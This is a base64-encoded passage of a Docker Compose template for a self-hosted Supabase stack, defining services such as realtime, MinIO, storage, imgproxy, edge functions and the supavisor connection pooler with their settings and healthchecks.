RU5BQkxFX0FOT05ZTU9VU19VU0VSUzotZmFsc2V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX0FVVE9DT05GSVJNPSR7RU5BQkxFX0VNQUlMX0FVVE9DT05GSVJNOi1mYWxzZX0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0FETUlOX0VNQUlMPSR7U01UUF9BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdHT1RSVUVfU01UUF9QT1JUPSR7U01UUF9QT1JUOi01ODd9JwogICAgICAtICdHT1RSVUVfU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnR09UUlVFX1NNVFBfUEFTUz0ke1NNVFBfUEFTU30nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1NFTkRFUl9OQU1FPSR7U01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfSU5WSVRFPSR7TUFJTEVSX1VSTFBBVEhTX0lOVklURTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19DT05GSVJNQVRJT049JHtNQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZPSR7TUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0lOVklURT0ke01BSUxFUl9URU1QTEFURVNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1RFTVBMQVRFU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19SRUNPVkVSWT0ke01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUll9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LPSR7TUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFPSR7TUFJTEVSX1RFTVBMQVRFU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZPSR7TUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LPSR7TUFJTEVSX1NVQkpFQ1RTX01BR0lDX0xJTkt9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0lOVklURT0ke01BSUxFUl9TVUJKRUNUU19JTlZJVEV9JwogICAgICAtICdHT1RSVUVfRVhURVJOQUxfUEhPTkVfRU5BQkxFRD0ke0VOQUJMRV9QSE9ORV9TSUdOVVA6LXRydWV9JwogICAgICAtICdHT1RSVUVfU01TX0FVVE9DT05GSVJNPSR7RU5BQkxFX1BIT05FX0FVVE9DT05GSVJNOi10cnVlfScKICByZWFsdGltZS1kZXY6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3JlYWx0aW1lOnYyLjM0LjQ3JwogICAgY29udGFpbmVyX25hbWU6IHJlYWx0aW1lLWRldi5zdXBhYmFzZS1yZWFsdGltZQogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zU2ZMJwogICAgICAgIC0gJy0taGVhZCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJy1IJwogICAgICAgIC0gJ0F1dGhvcml6YXRpb246IEJlYXJlciAke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo0MDAwL2FwaS90ZW5hbnRzL3JlYWx0aW1lLWRldi9oZWFsdGgnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1JUPTQwMDAKICAgICAgLSAnREJfSE9TVD0ke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn0nCiAgICAgIC0gJ0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSBEQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RCX05BTUU9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdEQl9BRlRFUl9DT05ORUNUX1FVRVJZPVNFVCBzZWFyY2hfcGF0aCBUTyBfcmVhbHRpbWUnCiAgICAgIC0gREJfRU5DX0tFWT1zdXBhYmFzZXJlYWx0aW1lCiAgICAgIC0gJ0FQSV9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEZMWV9BTExPQ19JRD1mbHkxMjMKICAgICAgLSBGTFlfQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VDUkVUX1BBU1NXT1JEX1JFQUxUSU1FfScKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgICAgLSBFTkFCTEVfVEFJTFNDQUxFPWZhbHNlCiAgICAgIC0gIkROU19OT0RFUz0nJyIKICAgICAgLSBSTElNSVRfTk9GSUxFPTEwMDAwCiAgICAgIC0gQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSBTRUVEX1NFTEZfSE9TVD10cnVlCiAgICAgIC0gTE9HX0xFVkVMPWVycm9yCiAgICAgIC0gUlVOX0pBTklUT1I9dHJ1ZQogICAgICAtIEpBTklUT1JfSU5URVJWQUw9NjAwMDAKICAgIGNvbW1hbmQ6ICJzaCAtYyBcIi9hcHAvYmluL21pZ3JhdGUgJiYgL2FwcC9iaW4vcmVhbHRpbWUgZXZhbCAnUmVhbHRpbWUuUmVsZWFzZS5zZWVkcyhSZWFsdGltZS5SZXBvKScgJiYgL2FwcC9iaW4vc2VydmVyXCJcbiIKICBzdXBhYmFzZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiIC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL3N0b3JhZ2U6L2RhdGEnCiAgbWluaW8tY3JlYXRlYnVja2V0OgogICAgaW1hZ2U6IG1pbmlvL21jCiAgICByZXN0YXJ0OiAnbm8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtbWluaW86CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuL3Vzci9iaW4vbWMgYWxpYXMgc2V0IHN1cGFiYXNlLW1pbmlvIGh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwICR7TUlOSU9fUk9PVF9VU0VSfSAke01JTklPX1JPT1RfUEFTU1dPUkR9O1xuL3Vzci9iaW4vbWMgbWIgLS1pZ25vcmUtZXhpc3Rpbmcgc3VwYWJhc2UtbWluaW8vc3R1YjtcbmV4aXQgMFxuIgogIHN1cGFiYXNlLXN0b3JhZ2U6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N0b3JhZ2UtYXBpOnYxLjE0LjYnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1yZXN0OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICAgIGltZ3Byb3h5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo1MDAwL3N0YXR1cycKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZFUl9QT1JUPTUwMDAKICAgICAgLSBTRVJWRVJfUkVHSU9OPWxvY2FsCiAgICAgIC0gTVVMVElfVEVOQU5UPWZhbHNlCiAgICAgIC0gJ0FVVEhfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vc3VwYWJhc2Vfc3RvcmFnZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBEQl9JTlNUQUxMX1JPTEVTPWZhbHNlCiAgICAgIC0gU1RPUkFHRV9CQUNLRU5EPXMzCiAgICAgIC0gU1RPUkFHRV9TM19CVUNLRVQ9c3R1YgogICAgICAtICdTVE9SQUdFX1MzX0VORFBPSU5UPWh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwJwogICAgICAtIFNUT1JBR0VfUzNfRk9SQ0VfUEFUSF9TVFlMRT10cnVlCiAgICAgIC0gU1RPUkFHRV9TM19SRUdJT049dXMtZWFzdC0xCiAgICAgIC0gJ0FXU19BQ0NFU1NfS0VZX0lEPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVD01MjQyODgwMDAKICAgICAgLSBVUExPQURfRklMRV9TSVpFX0xJTUlUX1NUQU5EQVJEPTUyNDI4ODAwMAogICAgICAtIFVQTE9BRF9TSUdORURfVVJMX0VYUElSQVRJT05fVElNRT0xMjAKICAgICAgLSBUVVNfVVJMX1BBVEg9dXBsb2FkL3Jlc3VtYWJsZQogICAgICAtIFRVU19NQVhfU0laRT0zNjAwMDAwCiAgICAgIC0gRU5BQkxFX0lNQUdFX1RSQU5TRk9STUFUSU9OPXRydWUKICAgICAgLSAnSU1HUFJPWFlfVVJMPWh0dHA6Ly9pbWdwcm94eTo4MDgwJwogICAgICAtIElNR1BST1hZX1JFUVVFU1RfVElNRU9VVD0xNQogICAgICAtIERBVEFCQVNFX1NFQVJDSF9QQVRIPXN0b3JhZ2UKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gUkVRVUVTVF9BTExPV19YX0ZPUldBUkRFRF9QQVRIPXRydWUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgaW1ncHJveHk6CiAgICBpbWFnZTogJ2RhcnRoc2ltL2ltZ3Byb3h5OnYzLjguMCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBpbWdwcm94eQogICAgICAgIC0gaGVhbHRoCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBJTUdQUk9YWV9MT0NBTF9GSUxFU1lTVEVNX1JPT1Q9LwogICAgICAtIElNR1BST1hZX1VTRV9FVEFHPXRydWUKICAgICAgLSAnSU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OPSR7SU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgc3VwYWJhc2UtbWV0YToKICAgIGltYWdlOiAnc3VwYWJhc2UvcG9zdGdyZXMtbWV0YTp2MC44OS4zJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQR19NRVRBX1BPUlQ9ODA4MAogICAgICAtICdQR19NRVRBX0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQR19NRVRBX0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdfTUVUQV9EQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBQR19NRVRBX0RCX1VTRVI9c3VwYWJhc2VfYWRtaW4KICAgICAgLSAnUEdfTUVUQV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogIHN1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9lZGdlLXJ1bnRpbWU6djEuNjcuNCcKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdFZGdlIEZ1bmN0aW9ucyBpcyBoZWFsdGh5JwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9ST0xFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX0RCX1VSTD1wb3N0Z3Jlc3FsOi8vcG9zdGdyZXM6JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1ZFUklGWV9KV1Q9JHtGVU5DVElPTlNfVkVSSUZZX0pXVDotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL2Z1bmN0aW9uczovaG9tZS9kZW5vL2Z1bmN0aW9ucycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIHRhcmdldDogL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICJpbXBvcnQgeyBzZXJ2ZSB9IGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3N0ZEAwLjEzMS4wL2h0dHAvc2VydmVyLnRzJ1xuaW1wb3J0ICogYXMgam9zZSBmcm9tICdodHRwczovL2Rlbm8ubGFuZC94L2pvc2VAdjQuMTQuNC9pbmRleC50cydcblxuY29uc29sZS5sb2coJ21haW4gZnVuY3Rpb24gc3RhcnRlZCcpXG5cbmNvbnN0IEpXVF9TRUNSRVQgPSBEZW5vLmVudi5nZXQoJ0pXVF9TRUNSRVQnKVxuY29uc3QgVkVSSUZZX0pXVCA9IERlbm8uZW52LmdldCgnVkVSSUZZX0pXVCcpID09PSAndHJ1ZSdcblxuZnVuY3Rpb24gZ2V0QXV0aFRva2VuKHJlcTogUmVxdWVzdCkge1xuICBjb25zdCBhdXRoSGVhZGVyID0gcmVxLmhlYWRlcnMuZ2V0KCdhdXRob3JpemF0aW9uJylcbiAgaWYgKCFhdXRoSGVhZGVyKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGF1dGhvcml6YXRpb24gaGVhZGVyJylcbiAgfVxuICBjb25zdCBbYmVhcmVyLCB0b2tlbl0gPSBhdXRoSGVhZGVyLnNwbGl0KCcgJylcbiAgaWYgKGJlYXJlciAhPT0gJ0JlYXJlcicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoYEF1dGggaGVhZGVyIGlzIG5vdCAnQmVhcmVyIHt0b2tlbn0nYClcbiAgfVxuICByZXR1cm4gdG9rZW5cbn1cblxuYXN5bmMgZnVuY3Rpb24gdmVyaWZ5SldUKGp3dDogc3RyaW5nKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIGNvbnN0IGVuY29kZXIgPSBuZXcgVGV4dEVuY29kZXIoKVxuICBjb25zdCBzZWNyZXRLZXkgPSBlbmNvZGVyLmVuY29kZShKV1RfU0VDUkVUKVxuICB0cnkge1xuICAgIGF3YWl0IGpvc2Uuand0VmVyaWZ5KGp3dCwgc2VjcmV0S2V5KVxuICB9IGNhdGNoIChlcnIpIHtcbiAgICBjb25zb2xlLmVycm9yKGVycilcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuICByZXR1cm4gdHJ1ZVxufVxuXG5zZXJ2ZShhc3luYyAocmVxOiBSZXF1ZXN0KSA9PiB7XG4gIGlmIChyZXEubWV0aG9kICE9PSAnT1BUSU9OUycgJiYgVkVSSUZZX0pXVCkge1xuICAgIHRyeSB7XG4gICAgICBjb25zdCB0b2tlbiA9IGdldEF1dGhUb2tlbihyZXEpXG4gICAgICBjb25zdCBpc1ZhbGlkSldUID0gYXdhaXQgdmVyaWZ5SldUKHRva2VuKVxuXG4gICAgICBpZiAoIWlzVmFsaWRKV1QpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogJ0ludmFsaWQgSldUJyB9KSwge1xuICAgICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LFxuICAgICAgICB9KVxuICAgICAgfVxuICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IoZSlcbiAgICAgIHJldHVybiBuZXcgUmVzcG9uc2UoSlNPTi5zdHJpbmdpZnkoeyBtc2c6IGUudG9TdHJpbmcoKSB9KSwge1xuICAgICAgICBzdGF0dXM6IDQwMSxcbiAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIGNvbnN0IHVybCA9IG5ldyBVUkwocmVxLnVybClcbiAgY29uc3QgeyBwYXRobmFtZSB9ID0gdXJsXG4gIGNvbnN0IHBhdGhfcGFydHMgPSBwYXRobmFtZS5zcGxpdCgnLycpXG4gIGNvbnN0IHNlcnZpY2VfbmFtZSA9IHBhdGhfcGFydHNbMV1cblxuICBpZiAoIXNlcnZpY2VfbmFtZSB8fCBzZXJ2aWNlX25hbWUgPT09ICcnKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogJ21pc3NpbmcgZnVuY3Rpb24gbmFtZSBpbiByZXF1ZXN0JyB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNDAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxuXG4gIGNvbnN0IHNlcnZpY2VQYXRoID0gYC9ob21lL2Rlbm8vZnVuY3Rpb25zLyR7c2VydmljZV9uYW1lfWBcbiAgY29uc29sZS5lcnJvcihgc2VydmluZyB0aGUgcmVxdWVzdCB3aXRoICR7c2VydmljZVBhdGh9YClcblxuICBjb25zdCBtZW1vcnlMaW1pdE1iID0gMTUwXG4gIGNvbnN0IHdvcmtlclRpbWVvdXRNcyA9IDEgKiA2MCAqIDEwMDBcbiAgY29uc3Qgbm9Nb2R1bGVDYWNoZSA9IGZhbHNlXG4gIGNvbnN0IGltcG9ydE1hcFBhdGggPSBudWxsXG4gIGNvbnN0IGVudlZhcnNPYmogPSBEZW5vLmVudi50b09iamVjdCgpXG4gIGNvbnN0IGVudlZhcnMgPSBPYmplY3Qua2V5cyhlbnZWYXJzT2JqKS5tYXAoKGspID0+IFtrLCBlbnZWYXJzT2JqW2tdXSlcblxuICB0cnkge1xuICAgIGNvbnN0IHdvcmtlciA9IGF3YWl0IEVkZ2VSdW50aW1lLnVzZXJXb3JrZXJzLmNyZWF0ZSh7XG4gICAgICBzZXJ2aWNlUGF0aCxcbiAgICAgIG1lbW9yeUxpbWl0TWIsXG4gICAgICB3b3JrZXJUaW1lb3V0TXMsXG4gICAgICBub01vZHVsZUNhY2hlLFxuICAgICAgaW1wb3J0TWFwUGF0aCxcbiAgICAgIGVudlZhcnMsXG4gICAgfSlcbiAgICByZXR1cm4gYXdhaXQgd29ya2VyLmZldGNoKHJlcSlcbiAgfSBjYXRjaCAoZSkge1xuICAgIGNvbnN0IGVycm9yID0geyBtc2c6IGUudG9TdHJpbmcoKSB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNTAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxufSkiCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9oZWxsby9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICIvLyBGb2xsb3cgdGhpcyBzZXR1cCBndWlkZSB0byBpbnRlZ3JhdGUgdGhlIERlbm8gbGFuZ3VhZ2Ugc2VydmVyIHdpdGggeW91ciBlZGl0b3I6XG4vLyBodHRwczovL2Rlbm8ubGFuZC9tYW51YWwvZ2V0dGluZ19zdGFydGVkL3NldHVwX3lvdXJfZW52aXJvbm1lbnRcbi8vIFRoaXMgZW5hYmxlcyBhdXRvY29tcGxldGUsIGdvIHRvIGRlZmluaXRpb24sIGV0Yy5cblxuaW1wb3J0IHsgc2VydmUgfSBmcm9tIFwiaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTc3LjEvaHR0cC9zZXJ2ZXIudHNcIlxuXG5zZXJ2ZShhc3luYyAoKSA9PiB7XG4gIHJldHVybiBuZXcgUmVzcG9uc2UoXG4gICAgYFwiSGVsbG8gZnJvbSBFZGdlIEZ1bmN0aW9ucyFcImAsXG4gICAgeyBoZWFkZXJzOiB7IFwiQ29udGVudC1UeXBlXCI6IFwiYXBwbGljYXRpb24vanNvblwiIH0gfSxcbiAgKVxufSlcblxuLy8gVG8gaW52b2tlOlxuLy8gY3VybCAnaHR0cDovL2xvY2FsaG9zdDo8S09OR19IVFRQX1BPUlQ+L2Z1bmN0aW9ucy92MS9oZWxsbycgXFxcbi8vICAgLS1oZWFkZXIgJ0F1dGhvcml6YXRpb246IEJlYXJlciA8YW5vbi9zZXJ2aWNlX3JvbGUgQVBJIGtleT4nXG4iCiAgICBjb21tYW5kOgogICAgICAtIHN0YXJ0CiAgICAgIC0gJy0tbWFpbi1zZXJ2aWNlJwogICAgICAtIC9ob21lL2Rlbm8vZnVuY3Rpb25zL21haW4KICBzdXBhYmFzZS1zdXBhdmlzb3I6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N1cGF2aXNvcjoyLjUuMScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLXNTZkwnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvYXBpL2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPT0xFUl9URU5BTlRfSUQ9ZGV2X3RlbmFudAogICAgICAtIFBPT0xFUl9QT09MX01PREU9dHJhbnNhY3Rpb24KICAgICAgLSAnUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFPSR7UE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFOi0yMH0nCiAgICAgIC0gJ1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk49JHtQT09MRVJfTUFYX0NMSUVOVF9DT05OOi0xMDB9JwogICAgICAtIFBPUlQ9NDAwMAogICAgICAtICdQT1NUR1JFU19QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1ROQU1FPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9ZWN0bzovL3N1cGFiYXNlX2FkbWluOiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1